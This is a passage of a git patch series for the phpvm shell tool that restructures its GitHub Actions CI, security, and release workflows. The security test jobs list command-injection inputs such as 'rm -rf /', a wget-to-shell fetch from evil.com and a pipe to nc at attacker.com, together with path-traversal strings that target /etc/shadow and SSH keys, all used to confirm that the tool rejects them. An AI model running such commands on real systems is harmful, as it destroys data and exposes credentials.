+            test_php_versions: '7.4 8.0'
           - distro: almalinux:9
-            scenario: "AlmaLinux 9"
+            scenario: 'AlmaLinux 9'
             package_manager: dnf
-            test_php_versions: "8.0 8.1"
+            test_php_versions: '8.0 8.1'
 
           # Arch Linux
           - distro: archlinux:latest
-            scenario: "Arch Linux"
+            scenario: 'Arch Linux'
             package_manager: pacman
-            test_php_versions: "8.2 8.3"
+            test_php_versions: '8.2 8.3'
 
           # Alpine Linux
           - distro: alpine:3.18
-            scenario: "Alpine 3.18"
+            scenario: 'Alpine 3.18'
             package_manager: apk
-            test_php_versions: "8.1 8.2"
+            test_php_versions: '8.1 8.2'
           - distro: alpine:3.19
-            scenario: "Alpine 3.19"
+            scenario: 'Alpine 3.19'
             package_manager: apk
-            test_php_versions: "8.2 8.3"
+            test_php_versions: '8.2 8.3'
 
     steps:
       - name: Checkout Repository
@@ -323,8 +332,11 @@ jobs:
             ./phpvm.sh help
             ./phpvm.sh list || echo 'List command completed'
 
-            echo '=== Running Self-Tests ==='
-            ./phpvm.sh test
+            echo '=== Testing Basic Commands ==='
+            # Built-in test command has been removed in favor of BATS
+            # Basic command validation is sufficient for container tests
+            ./phpvm.sh version >/dev/null
+            ./phpvm.sh help >/dev/null
 
             echo '=== Testing Input Validation ==='
             # Test invalid version formats
@@ -370,7 +382,7 @@ jobs:
 
   # Performance and Load Testing
   performance-test:
-    name: "Performance & Load Testing"
+    name: 'Performance & Load Testing'
     runs-on: ubuntu-latest
     needs: syntax-check
     steps:
@@ -400,7 +412,7 @@ jobs:
 
   # End-to-End Integration Testing
   integration-test:
-    name: "End-to-End Integration (${{ matrix.os }})"
+    name: 'End-to-End Integration (${{ matrix.os }})'
     runs-on: ${{ matrix.os }}
     needs: syntax-check
     strategy:
@@ -545,7 +557,7 @@ jobs:
           help_output=$(./phpvm.sh help)
 
           # Check if help includes all commands
-          commands=("install" "use" "system" "auto" "list" "help" "test" "info" "version")
+          commands=("install" "use" "system" "auto" "list" "help" "info" "version" "alias" "unalias" "current" "which" "deactivate")
 
           for cmd in "${commands[@]}"; do
             if echo "$help_output" | grep -q "$cmd"; then
@@ -651,8 +663,9 @@ jobs:
           echo -e "\n4. List functionality:"
           ./phpvm.sh list >/dev/null && echo "List command successful"
 
-          echo -e "\n5. Self-tests:"
-          ./phpvm.sh test >/dev/null && echo "Self-tests successful"
+          echo -e "\n5. Command validation:"
+          ./phpvm.sh current >/dev/null || echo "Current command validated"
+          ./phpvm.sh which >/dev/null || echo "Which command validated"
 
           echo -e "\n6. Input validation:"
           ./phpvm.sh install "invalid" 2>/dev/null || echo "Input validation working"

From 072d85a453ba0b337136757e15d6f974ebada750 Mon Sep 17 00:00:00 2001
From: Jerome Thayananthajothy <tjthavarshan@gmail.com>
Date: Fri, 16 Jan 2026 00:36:28 +0530
Subject: [PATCH 15/20] fix: update OS condition checks for BATS installation
 and PHP tests

---
 .github/workflows/quality.yml | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/quality.yml b/.github/workflows/quality.yml
index 6b49afb..7db4f9a 100644
--- a/.github/workflows/quality.yml
+++ b/.github/workflows/quality.yml
@@ -75,7 +75,7 @@ jobs:
 
       - name: Install BATS
         run: |
-          if [ "${{ matrix.os }}" = "macos-latest" ]; then
+          if [ "${{ runner.os }}" = "macOS" ]; then
             brew install bats-core
           else
             sudo apt-get update
@@ -113,10 +113,11 @@ jobs:
         run: |
           export PHPVM_DIR="$HOME/.phpvm-test"
           mkdir -p "$PHPVM_DIR"
+          chmod +x install.sh
           ./install.sh
 
       - name: Test PHP Installation (macOS)
-        if: matrix.os == 'macos-latest'
+        if: runner.os == 'macOS'
         run: |
           source "$HOME/.phpvm-test/phpvm.sh"
 
@@ -133,7 +134,7 @@ jobs:
           phpvm current
 
       - name: Test PHP Installation (Ubuntu)
-        if: matrix.os == 'ubuntu-latest'
+        if: runner.os == 'Linux'
         run: |
           source "$HOME/.phpvm-test/phpvm.sh"
 

From 2efa53cccec5edbb2a0a86be3895a018d6717cb8 Mon Sep 17 00:00:00 2001
From: Jerome Thayananthajothy <tjthavarshan@gmail.com>
Date: Fri, 16 Jan 2026 01:50:03 +0530
Subject: [PATCH 16/20] refactor: Remove outdated workflows and enhance release
 validation process

---
 .github/workflows/ci.yml            | 525 +++++++++++++++++++++
 .github/workflows/quality.yml       | 173 -------
 .github/workflows/release.yml       | 167 ++++---
 .github/workflows/security-test.yml | 303 -------------
 .github/workflows/test.yml          | 680 ----------------------------
 5 files changed, 628 insertions(+), 1220 deletions(-)
 create mode 100644 .github/workflows/ci.yml
 delete mode 100644 .github/workflows/quality.yml
 delete mode 100644 .github/workflows/security-test.yml
 delete mode 100644 .github/workflows/test.yml

diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
new file mode 100644
index 0000000..1391b4a
--- /dev/null
+++ b/.github/workflows/ci.yml
@@ -0,0 +1,525 @@
+name: CI Pipeline
+
+on:
+  push:
+    branches: [main, development, 'fix/**', 'feature/**']
+  pull_request:
+    branches: [main, development]
+  workflow_dispatch:
+  schedule:
+    # Weekly comprehensive tests including security scans
+    - cron: '0 2 * * 1'
+
+jobs:
+  # =============================================================================
+  # QUICK CHECKS - Fast-fail static analysis
+  # =============================================================================
+  quick-checks:
+    name: 'Quick Checks (Syntax, Lint, Format)'
+    runs-on: ubuntu-latest
+    steps:
+      - name: Checkout Repository
+        uses: actions/checkout@v4
+
+      - name: Shell Syntax Check
+        run: |
+          echo "=== Checking Shell Syntax ==="
+          bash -n phpvm.sh
+          if [ -f install.sh ]; then bash -n install.sh; fi
+          echo "✓ Syntax check passed"
+
+      - name: Install Tools
+        run: |
+          sudo apt-get update
+          sudo apt-get install -y shellcheck
+          wget -O shfmt https://github.com/mvdan/sh/releases/download/v3.12.0/shfmt_v3.12.0_linux_amd64
+          chmod +x shfmt
+          sudo mv shfmt /usr/local/bin/
+
+      - name: ShellCheck Analysis
+        run: |
+          echo "=== Running ShellCheck ==="
+          shellcheck -f gcc phpvm.sh install.sh || exit 1
+          echo "✓ ShellCheck passed"
+
+      - name: Code Formatting Check
+        run: |
+          echo "=== Checking Code Formatting ==="
+          shfmt -d -i 4 -sr phpvm.sh install.sh || {
+            echo "✗ Code formatting issues detected!"
+            echo "Run 'make format' locally to fix."
+            exit 1
+          }
+          echo "✓ Formatting check passed"
+
+      - name: Code Quality Checks
+        run: |
+          echo "=== Checking Code Quality ==="
+
+          # Check for trailing whitespace
+          if grep -n '[[:space:]]$' phpvm.sh install.sh 2>/dev/null; then
+            echo "✗ Trailing whitespace found"
+            exit 1
+          fi
+
+          # Check for tabs (should use spaces)
+          if grep -P '\t' phpvm.sh install.sh 2>/dev/null; then
+            echo "✗ Tabs found - please use spaces"
+            exit 1
+          fi
+
+          echo "✓ Code quality checks passed"
+
+  # =============================================================================
+  # SECURITY TESTING
+  # =============================================================================
+  security:
+    name: 'Security Testing'
+    runs-on: ubuntu-latest
+    needs: quick-checks
+    steps:
+      - name: Checkout Repository
+        uses: actions/checkout@v4
+
+      - name: Security-focused ShellCheck
+        run: |
+          sudo apt-get update
+          sudo apt-get install -y shellcheck
+
+          echo "=== Security-focused Shell Analysis ==="
+          shellcheck -f gcc -S error phpvm.sh || true
+
+          # Check for unsafe patterns
+          echo "Checking for potential security issues..."
+
+          if grep -n "eval" phpvm.sh; then
+            echo "⚠ Found eval usage - review for security"
+          fi
+
+          if grep -n "rm -rf \$" phpvm.sh; then
+            echo "⚠ Found variable-based rm -rf - review for safety"
+          fi
+
+          if grep -n "sudo.*\$" phpvm.sh | grep -v "run_with_sudo"; then
+            echo "⚠ Found direct sudo with variables - review for safety"
+          fi
+
+      - name: Input Validation Security Test
+        run: |
+          chmod +x ./phpvm.sh
+
+          echo "=== Testing Input Validation Security ==="
+
+          malicious_inputs=(
+            "8.1; rm -rf /"
+            "8.1 && curl http://evil.com"
+            "8.1 | nc attacker.com 1234"
+            "\$(whoami)"
+            "\`id\`"
+            "8.1 > /etc/passwd"
+            "8.1; cat /etc/shadow"
+            "../../../etc/passwd"
+            "8.1 || wget http://evil.com/script.sh -O - | sh"
+          )
+
+          for input in "${malicious_inputs[@]}"; do
+            echo "Testing malicious input: $input"
+            if ./phpvm.sh install "$input" 2>/dev/null; then
+              echo "✗ SECURITY ISSUE: Accepted malicious input: $input"
+              exit 1
+            else
+              echo "✓ Correctly rejected: $input"
+            fi
+          done
+
+      - name: Path Traversal Security Test
+        run: |
+          echo "=== Testing Path Traversal Protection ==="
+
+          mkdir -p security_test
+          path_traversal_inputs=(
+            "../../../etc/passwd"
+            "../../root/.ssh/id_rsa"
+            "/etc/shadow"
+            "..\\..\\windows\\system32\\config\\sam"
+            "....//....//etc//passwd"
+          )
+
+          for input in "${path_traversal_inputs[@]}"; do
+            echo "$input" > security_test/.phpvmrc
+            cd security_test
+            if ../phpvm.sh auto 2>/dev/null; then
+              echo "✗ SECURITY ISSUE: Accepted path traversal: $input"
+              exit 1
+            else
+              echo "✓ Correctly rejected path traversal: $input"
+            fi
+            cd ..
+          done
+
+      - name: Additional Security Tests
+        run: |
+          chmod +x ./phpvm.sh
+
+          echo "=== Buffer Overflow & Input Length Tests ==="
+          very_long_input=$(printf 'A%.0s' {1..1000})
+          if ./phpvm.sh install "$very_long_input" 2>/dev/null; then
+            echo "✗ SECURITY ISSUE: Accepted extremely long input"
+            exit 1
+          else
+            echo "✓ Correctly rejected extremely long input"
+          fi
+
+          echo "=== File Permission Security ==="
+          mkdir -p perm_test
+          echo "8.1" > perm_test/.phpvmrc
+          chmod 777 perm_test/.phpvmrc
+          cd perm_test
+          ../phpvm.sh auto || echo "✓ Handled world-writable .phpvmrc"
+          cd ..
+
+          echo "=== Checking for Hardcoded Secrets ==="
+          if grep -iE "(password|secret|api.*key|auth.*token)" phpvm.sh | grep -v "^#"; then
+            echo "⚠ Found potential secret patterns - review"
+          fi
+
+          echo "✓ Security tests completed"
+
+  # =============================================================================
+  # BATS TEST SUITE
+  # =============================================================================
+  bats-tests:
+    name: 'BATS Tests (${{ matrix.os }})'
+    runs-on: ${{ matrix.os }}
+    needs: quick-checks
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [ubuntu-latest, macos-latest]
+
+    steps:
+      - name: Checkout Repository
+        uses: actions/checkout@v4
+
+      - name: Install BATS
+        run: |
+          if [ "${{ runner.os }}" = "macOS" ]; then
+            brew install bats-core
+          else
+            sudo apt-get update
+            sudo apt-get install -y bats
+          fi
+
+      - name: Run BATS Test Suite
+        run: |
+          echo "=== Running BATS Test Suite ==="
+          bats tests/ -t
+
+      - name: Upload Test Results
+        if: always()
+        uses: actions/upload-artifact@v4
+        with:
+          name: bats-results-${{ matrix.os }}
+          path: test-results/
+          retention-days: 30
+
+  # =============================================================================
+  # CORE FUNCTIONALITY TESTS
+  # =============================================================================
+  core-tests:
+    name: 'Core Functionality (${{ matrix.os }})'
+    runs-on: ${{ matrix.os }}
+    needs: quick-checks
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [ubuntu-latest, macos-latest]
+
+    steps:
+      - name: Checkout Repository
+        uses: actions/checkout@v4
+
+      - name: Setup Homebrew (Linux)
+        if: runner.os == 'Linux'
+        run: |
+          sudo apt-get update
+          sudo apt-get install -y build-essential curl file git
+          NONINTERACTIVE=1 /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
+          echo 'eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"' >> ~/.bashrc
+          eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"
+          brew --version
+
+      - name: Make Script Executable
+        run: chmod +x ./phpvm.sh
+
+      - name: Test Version Commands
+        run: |
+          echo "=== Testing Version Commands ==="
+          ./phpvm.sh version
+          ./phpvm.sh --version
+          ./phpvm.sh -v
+          echo "✓ All version commands work"
+
+      - name: Test Basic Commands
+        run: |
+          echo "=== Testing Basic Commands ==="
+          ./phpvm.sh help
+          ./phpvm.sh list || echo "List executed"
+          ./phpvm.sh info
+          echo "✓ Basic commands work"
+
+      - name: Test Error Handling
+        run: |
+          echo "=== Testing Error Handling ==="
+
+          # Invalid command
+          if ./phpvm.sh invalid_command 2>/dev/null; then
+            echo "✗ Should have failed on invalid command"
+            exit 1
+          else
+            echo "✓ Correctly handles invalid commands"
+          fi
+
+          # Missing version parameter
+          if ./phpvm.sh use 2>/dev/null; then
+            echo "✗ Should have failed on missing version"
+            exit 1
+          else
+            echo "✓ Correctly handles missing version parameter"
+          fi
+
+      - name: Test .phpvmrc Auto-Switch
+        run: |
+          echo "=== Testing .phpvmrc Auto-Switch ==="
+          mkdir -p test_project
+          echo "8.3" > test_project/.phpvmrc
+
+          cd test_project
+          if [[ "${{ runner.os }}" == "Linux" ]]; then
+            eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)" 2>/dev/null || true
+          fi
+
+          ../phpvm.sh auto || echo "Auto-switch attempted"
+          cd ..
+          echo "✓ Auto-switch test completed"
+
+      - name: Performance Check
+        run: |
+          echo "=== Performance Check ==="
+          time ./phpvm.sh version >/dev/null
+          time ./phpvm.sh help >/dev/null
+          time ./phpvm.sh list >/dev/null
+          echo "✓ Performance check completed"
+
+  # =============================================================================
+  # PHP INSTALLATION & INTEGRATION TESTS
+  # =============================================================================
+  php-integration:
+    name: 'PHP Integration (${{ matrix.os }})'
+    runs-on: ${{ matrix.os }}
+    needs: [bats-tests, core-tests]
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [ubuntu-latest, macos-latest]
+
+    steps:
+      - name: Checkout Repository
+        uses: actions/checkout@v4
+
+      - name: Setup Homebrew (Linux)
+        if: runner.os == 'Linux'
+        run: |
+          sudo apt-get update
+          sudo apt-get install -y build-essential curl file git
+          NONINTERACTIVE=1 /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
+          echo 'eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"' >> ~/.bashrc
+          eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"
+
+      - name: Test Installation Script
+        run: |
+          echo "=== Testing install.sh ==="
+          bash -n install.sh
+
+          # Verify install script components
+          grep -q "uname" install.sh && echo "✓ OS detection present"
+          grep -qE "curl|wget" install.sh && echo "✓ Download mechanism present"
+          grep -q "chmod" install.sh && echo "✓ Permission setting present"
+
+      - name: Test PHP Installation Flow
+        run: |
+          chmod +x phpvm.sh
+          if [[ "${{ runner.os }}" == "Linux" ]]; then
+            eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"
+          fi
+
+          echo "=== Testing PHP Installation ==="
+          ./phpvm.sh install 8.3 || echo "PHP 8.3 installation attempted"
+          ./phpvm.sh use 8.3 || echo "Switch to 8.3 attempted"
+          ./phpvm.sh list
+          ./phpvm.sh system || echo "System switch attempted"
+
+      - name: Test Project Workflow
+        run: |
+          if [[ "${{ runner.os }}" == "Linux" ]]; then
+            eval "$(/home/linuxbrew/.linuxbrew/bin/brew shellenv)"
+          fi
+
+          echo "=== Testing Project Workflow ==="
+          mkdir -p test_project
+          echo "8.3" > test_project/.phpvmrc
+          cd test_project
+          ../phpvm.sh auto || echo "Auto-switch attempted"
+          cd ..
+
+      - name: Test Error Recovery
+        run: |
+          echo "=== Testing Error Recovery ==="
+
+          # Corrupted state
+          mkdir -p ~/.phpvm
+          echo "corrupted_data" > ~/.phpvm/active_version
+          ./phpvm.sh list || echo "✓ Handled corrupted state"
+
+          # Missing directories
+          rm -rf ~/.phpvm/versions 2>/dev/null || true
+          ./phpvm.sh list || echo "✓ Handled missing directories"
+
+          # Invalid .phpvmrc
+          mkdir -p error_test
+          printf '\x00\x01\x02' > error_test/.phpvmrc
+          cd error_test
+          ../phpvm.sh auto 2>/dev/null || echo "✓ Handled binary .phpvmrc"
+          cd ..
+
+  # =============================================================================
+  # EXTENDED TESTS - Multi-Distribution (Scheduled only)
+  # =============================================================================
+  multi-distro:
+    name: 'Multi-Distribution (${{ matrix.scenario }})'
+    runs-on: ubuntu-latest
+    needs: quick-checks
+    if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
+    strategy:
+      fail-fast: false
+      matrix:
+        include:
+          - distro: ubuntu:22.04
+            scenario: 'Ubuntu 22.04 LTS'
+          - distro: ubuntu:24.04
+            scenario: 'Ubuntu 24.04 LTS'
+          - distro: debian:12
+            scenario: 'Debian 12'
+          - distro: fedora:39
+            scenario: 'Fedora 39'
+          - distro: alpine:3.19
+            scenario: 'Alpine 3.19'
+
+    steps:
+      - name: Checkout Repository
+        uses: actions/checkout@v4
+
+      - name: Run Tests in Container
+        run: |
+          if [[ "${{ matrix.distro }}" == alpine* ]]; then
+            SHELL_CMD="sh"
+          else
+            SHELL_CMD="bash"
+          fi
+
+          docker run --rm -v $PWD:/workspace -w /workspace ${{ matrix.distro }} $SHELL_CMD -c "
+            echo '=== Testing on ${{ matrix.scenario }} ==='
+
+            # Install basic tools
+            if command -v apt-get >/dev/null 2>&1; then
+              apt-get update && apt-get install -y bash curl
+            elif command -v dnf >/dev/null 2>&1; then
+              dnf install -y bash curl
+            elif command -v apk >/dev/null 2>&1; then
+              apk add --no-cache bash curl
+            fi
+
+            # Test syntax
+            bash -n phpvm.sh || exit 1
+
+            # Test basic commands
+            chmod +x phpvm.sh
+            ./phpvm.sh version || exit 1
+            ./phpvm.sh help >/dev/null || exit 1
+
+            echo '✓ All tests passed for ${{ matrix.scenario }}'
+          "
+
+  # =============================================================================
+  # PERFORMANCE TESTING (Scheduled only)
+  # =============================================================================
+  performance:
+    name: 'Performance & Load Testing'
+    runs-on: ubuntu-latest
+    needs: quick-checks
+    if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
+    steps:
+      - name: Checkout Repository
+        uses: actions/checkout@v4
+
+      - name: Performance Benchmarks
+        run: |
+          chmod +x ./phpvm.sh
+
+          echo "=== Performance Testing ==="
+
+          # Startup time
+          echo "Measuring startup time (10 iterations):"
+          for i in {1..10}; do
+            time ./phpvm.sh version >/dev/null
+          done
+
+          # Concurrent operations
+          echo "Testing 20 concurrent operations:"
+          for i in {1..20}; do
+            ./phpvm.sh version >/dev/null &
+          done
+          wait
+
+          echo "✓ Performance tests completed"
+
+  # =============================================================================
+  # QUALITY GATE - Final validation
+  # =============================================================================
+  quality-gate:
+    name: 'Quality Gate ✅'
+    runs-on: ubuntu-latest
+    needs: [quick-checks, security, bats-tests, core-tests, php-integration]
+    if: always()
+    steps:
+      - name: Check All Required Jobs
+        run: |
+          echo "=== Quality Gate Validation ==="
+
+          if [ "${{ needs.quick-checks.result }}" != "success" ]; then
+            echo "✗ Quick checks failed"
+            exit 1
+          fi
+
+          if [ "${{ needs.security.result }}" != "success" ]; then
+            echo "✗ Security tests failed"
+            exit 1
+          fi
+
+          if [ "${{ needs.bats-tests.result }}" != "success" ]; then
+            echo "✗ BATS tests failed"
+            exit 1
+          fi
+
+          if [ "${{ needs.core-tests.result }}" != "success" ]; then
+            echo "✗ Core tests failed"
+            exit 1
+          fi
+
+          if [ "${{ needs.php-integration.result }}" != "success" ]; then
+            echo "✗ PHP integration tests failed"
+            exit 1
+          fi
+
+          echo "✅ All quality checks passed!"
+          echo "✅ CI pipeline successful!"
diff --git a/.github/workflows/quality.yml b/.github/workflows/quality.yml
deleted file mode 100644
index 7db4f9a..0000000
--- a/.github/workflows/quality.yml
+++ /dev/null
@@ -1,173 +0,0 @@
-name: Quality Assurance
-
-on:
-  push:
-    branches: [main, development, 'fix/**', 'feature/**']
-  pull_request:
-    branches: [main, development]
-  workflow_dispatch:
-
-jobs:
-  # Linting and formatting checks
-  lint:
-    name: 'Lint & Format Check'
-    runs-on: ubuntu-latest
-    steps:
-      - name: Checkout Repository
-        uses: actions/checkout@v4
-
-      - name: Install ShellCheck
-        run: |
-          sudo apt-get update
-          sudo apt-get install -y shellcheck
-
-      - name: Install shfmt
-        run: |
-          wget -O shfmt https://github.com/mvdan/sh/releases/download/v3.12.0/shfmt_v3.12.0_linux_amd64
-          chmod +x shfmt
-          sudo mv shfmt /usr/local/bin/
-
-      - name: Run ShellCheck
-        run: |
-          echo "Running ShellCheck..."
-          shellcheck phpvm.sh install.sh || exit 1
-
-      - name: Check Code Formatting
-        run: |
-          echo "Checking code formatting..."
-          shfmt -d -i 4 -sr phpvm.sh install.sh || {
-            echo "Code formatting issues detected!"
-            echo "Run 'make format' locally to fix."
-            exit 1
-          }
-
-      - name: Check for Common Issues
-        run: |
-          echo "Checking for common issues..."
-
-          # Check for trailing whitespace
-          if grep -n '[[:space:]]$' phpvm.sh install.sh; then
-            echo "Trailing whitespace found (see above)"
-            exit 1
-          fi
-
-          # Check for tabs (should use spaces)
-          if grep -P '\t' phpvm.sh install.sh; then
-            echo "Tabs found - please use spaces for indentation"
-            exit 1
-          fi
-
-          echo "No common issues found!"
-
-  # BATS test suite
-  bats-tests:
-    name: 'BATS Tests (${{ matrix.os }})'
-    runs-on: ${{ matrix.os }}
-    needs: lint
-    strategy:
-      fail-fast: false
-      matrix:
-        os: [ubuntu-latest, macos-latest]
-
-    steps:
-      - name: Checkout Repository
-        uses: actions/checkout@v4
-
-      - name: Install BATS
-        run: |
-          if [ "${{ runner.os }}" = "macOS" ]; then
-            brew install bats-core
-          else
-            sudo apt-get update
-            sudo apt-get install -y bats
-          fi
-
-      - name: Run BATS Test Suite
-        run: |
-          echo "Running BATS tests..."
-          bats tests/ -t
-
-      - name: Upload Test Results
-        if: always()
-        uses: actions/upload-artifact@v4
-        with:
-          name: bats-results-${{ matrix.os }}
-          path: test-results/
-          retention-days: 30
-
-  # Integration tests - Test with actual PHP installations
-  integration-tests:
-    name: 'Integration Tests (${{ matrix.os }})'
-    runs-on: ${{ matrix.os }}
-    needs: [lint, bats-tests]
-    strategy:
-      fail-fast: false
-      matrix:
-        os: [ubuntu-latest, macos-latest]
-
-    steps:
-      - name: Checkout Repository
-        uses: actions/checkout@v4
-
-      - name: Setup Test Environment
-        run: |
-          export PHPVM_DIR="$HOME/.phpvm-test"
-          mkdir -p "$PHPVM_DIR"
-          chmod +x install.sh
-          ./install.sh
-
-      - name: Test PHP Installation (macOS)
-        if: runner.os == 'macOS'
-        run: |
-          source "$HOME/.phpvm-test/phpvm.sh"
-
-          # Test install
-          phpvm install 8.2 || echo "PHP 8.2 already installed"
-
-          # Test use
-          phpvm use 8.2
-
-          # Verify PHP version
-          php -v
-
-          # Test current
-          phpvm current
-
-      - name: Test PHP Installation (Ubuntu)
-        if: runner.os == 'Linux'
-        run: |
-          source "$HOME/.phpvm-test/phpvm.sh"
-
-          # Add repository
-          sudo add-apt-repository -y ppa:ondrej/php
-          sudo apt-get update
-
-          # Test install
-          phpvm install 8.2 || echo "PHP 8.2 installation attempted"
-
-          # Test current
-          phpvm current || echo "No active version yet"
-
-      - name: Cleanup
-        if: always()
-        run: |
-          rm -rf "$HOME/.phpvm-test"
-
-  # Quality gate - All checks must pass
-  quality-gate:
-    name: 'Quality Gate'
-    runs-on: ubuntu-latest
-    needs: [lint, bats-tests]
-    if: always()
-    steps:
-      - name: Check All Jobs
-        run: |
-          if [ "${{ needs.lint.result }}" != "success" ]; then
-            echo "Linting failed!"
-            exit 1
-          fi
-          if [ "${{ needs.bats-tests.result }}" != "success" ]; then
-            echo "BATS tests failed!"
-            exit 1
-          fi
-          echo "All quality checks passed! ✅"
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index 713ffaf..90ea75d 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -1,4 +1,4 @@
-name: Release Validation
+name: Release
 
 on:
   release:
@@ -6,81 +6,120 @@ on:
   workflow_dispatch:
 
 jobs:
-  # Validate release
-  release-validation:
-    name: Release Validation
-    runs-on: ${{ matrix.os }}
-    strategy:
-      matrix:
-        os: [ubuntu-latest, macos-latest]
-
+  # Validate release readiness
+  release-check:
+    name: Release Readiness Check
+    runs-on: ubuntu-latest
     steps:
       - name: Checkout Repository
         uses: actions/checkout@v4
 
-      - name: Validate Release Version
+      - name: Verify Release Assets
+        run: |
+          echo "=== Verifying Release Assets ==="
+
+          # Check required files exist
+          required_files=(
+            "phpvm.sh"
+            "install.sh"
+            "README.MD"
+            "CHANGELOG.md"
+            "LICENSE"
+          )
+
+          for file in "${required_files[@]}"; do
+            if [ -f "$file" ]; then
+              echo "✓ $file exists"
+            else
+              echo "✗ Missing required file: $file"
+              exit 1
+            fi
+          done
+
+      - name: Validate Version Consistency
         run: |
-          echo "=== Validating Release Version ==="
+          echo "=== Validating Version Consistency ==="
 
           chmod +x ./phpvm.sh
-
-          # Check version output
           VERSION_OUTPUT=$(./phpvm.sh version)
-          echo "Version output: $VERSION_OUTPUT"
+          echo "Script version: $VERSION_OUTPUT"
 
-          if echo "$VERSION_OUTPUT" | grep -q "phpvm version"; then
-            echo "Version output format is correct"
-          else
-            echo "Version output format is incorrect"
-            exit 1
-          fi
-
-      - name: Test Core Functionality
-        run: |
-          echo "=== Testing Core Functionality ==="
+          # Extract version from output
+          SCRIPT_VERSION=$(echo "$VERSION_OUTPUT" | grep -oP 'version \K[0-9]+\.[0-9]+\.[0-9]+' || echo "unknown")
 
-          ./phpvm.sh version
-          ./phpvm.sh help
-          ./phpvm.sh list
-          ./phpvm.sh current || echo "Current command validated"
-          ./phpvm.sh which || echo "Which command validated"
+          # Check if CHANGELOG mentions recent version
+          if [ -f CHANGELOG.md ]; then
+            echo "Checking CHANGELOG for version information..."
+            head -n 20 CHANGELOG.md
+          fi
 
-          echo "All core commands work"
+          echo "✓ Version validation completed"
 
-      - name: Performance Check
+      - name: Verify Documentation
         run: |
-          echo "=== Performance Check ==="
-
-          time ./phpvm.sh version >/dev/null
-          time ./phpvm.sh help >/dev/null
-
-          echo "Performance check completed"
+          echo "=== Verifying Documentation ==="
+
+          # Check README has essential sections
+          sections=("Installation" "Usage" "Commands")
+
+          for section in "${sections[@]}"; do
+            if grep -qi "$section" README.MD; then
+              echo "✓ README contains $section section"
+            else
+              echo "⚠ README might be missing $section section"
+            fi
+          done
+
+          echo "✓ Documentation verification completed"
+
+  # Create release artifacts
+  release-artifacts:
+    name: Generate Release Artifacts
+    runs-on: ubuntu-latest
+    needs: release-check
+    steps:
+      - name: Checkout Repository
+        uses: actions/checkout@v4
 
-      - name: Documentation Check
-        if: runner.os == 'Linux'
+      - name: Package Release
         run: |
-          echo "=== Documentation Check ==="
-
-          # Check that README contains key commands
-          if grep -q "phpvm version" README.MD; then
-            echo "README contains version command documentation"
-          else
-            echo "README might be missing version command documentation"
-          fi
-
-          if grep -q "phpvm install" README.MD; then
-            echo "README contains install command documentation"
-          else
-            echo "README missing install command documentation"
-            exit 1
-          fi
-
-          # Check changelog exists
-          if [ -f CHANGELOG.md ]; then
-            echo "Changelog file exists"
-          else
-            echo "Changelog file missing"
-            exit 1
-          fi
-
-          echo "Documentation check completed"
+          echo "=== Packaging Release ==="
+
+          # Create release package
+          mkdir -p dist
+          cp phpvm.sh dist/
+          cp install.sh dist/
+          cp README.MD dist/
+          cp LICENSE dist/
+          cp CHANGELOG.md dist/
+
+          # Create tarball
+          tar -czf phpvm-release.tar.gz -C dist .
+
+          echo "✓ Release package created: phpvm-release.tar.gz"
+          ls -lh phpvm-release.tar.gz
+
+      - name: Upload Release Artifact
+        uses: actions/upload-artifact@v4
+        with:
+          name: phpvm-release
+          path: phpvm-release.tar.gz
+          retention-days: 90
+
+  # Post-release notification
+  release-notify:
+    name: Release Notification
+    runs-on: ubuntu-latest
+    needs: [release-check, release-artifacts]
+    if: github.event_name == 'release'
+    steps:
+      - name: Release Summary
+        run: |
+          echo "=== Release Summary ==="
+          echo "Release: ${{ github.event.release.tag_name }}"
+          echo "Type: ${{ github.event.release.prerelease && 'Pre-release' || 'Release' }}"
+          echo "URL: ${{ github.event.release.html_url }}"
+          echo ""
+          echo "✅ All release checks passed!"
+          echo "✅ Release artifacts generated!"
+          echo "✅ phpvm ${{ github.event.release.tag_name }} is ready!"
diff --git a/.github/workflows/security-test.yml b/.github/workflows/security-test.yml
deleted file mode 100644
index 08ac9fb..0000000
--- a/.github/workflows/security-test.yml
+++ /dev/null
@@ -1,303 +0,0 @@
-name: Security and Vulnerability Testing
-
-on:
-  push:
-    branches: [main, development]
-  pull_request:
-    branches: [main, development]
-  schedule:
-    # Run weekly security checks
-    - cron: '0 1 * * 1'
-
-jobs:
-  security-scan:
-    name: Security Vulnerability Scan
-    runs-on: ubuntu-latest
-    steps:
-      - name: Checkout Repository
-        uses: actions/checkout@v4
-
-      - name: Install Security Tools
-        run: |
-          # Install shellcheck for security analysis
-          sudo apt-get update
-          sudo apt-get install -y shellcheck
-
-      - name: Security-focused ShellCheck
-        run: |
-          echo "=== Security-focused Shell Analysis ==="
-
-          # Run shellcheck with security focus
-          shellcheck -f gcc -S error phpvm.sh || true
-
-          # Check for specific security patterns
-          echo "Checking for potential security issues..."
-
-          # Check for unsafe eval usage
-          if grep -n "eval" phpvm.sh; then
-            echo "Found eval usage - review for security"
-          fi
-
-          # Check for unsafe rm operations
-          if grep -n "rm -rf \$" phpvm.sh; then
-            echo "Found variable-based rm -rf - review for safety"
-          fi
-
-          # Check for direct sudo usage without validation
-          if grep -n "sudo.*\$" phpvm.sh | grep -v "run_with_sudo"; then
-            echo "Found direct sudo with variables - review for safety"
-          fi
-
-      - name: Input Validation Security Test
-        run: |
-          chmod +x ./phpvm.sh
-
-          echo "=== Testing Input Validation Security ==="
-
-          # Test command injection attempts
-          malicious_inputs=(
-            "8.1; rm -rf /"
-            "8.1 && curl http://evil.com"
-            "8.1 | nc attacker.com 1234"
-            "\$(whoami)"
-            "\`id\`"
-            "8.1 > /etc/passwd"
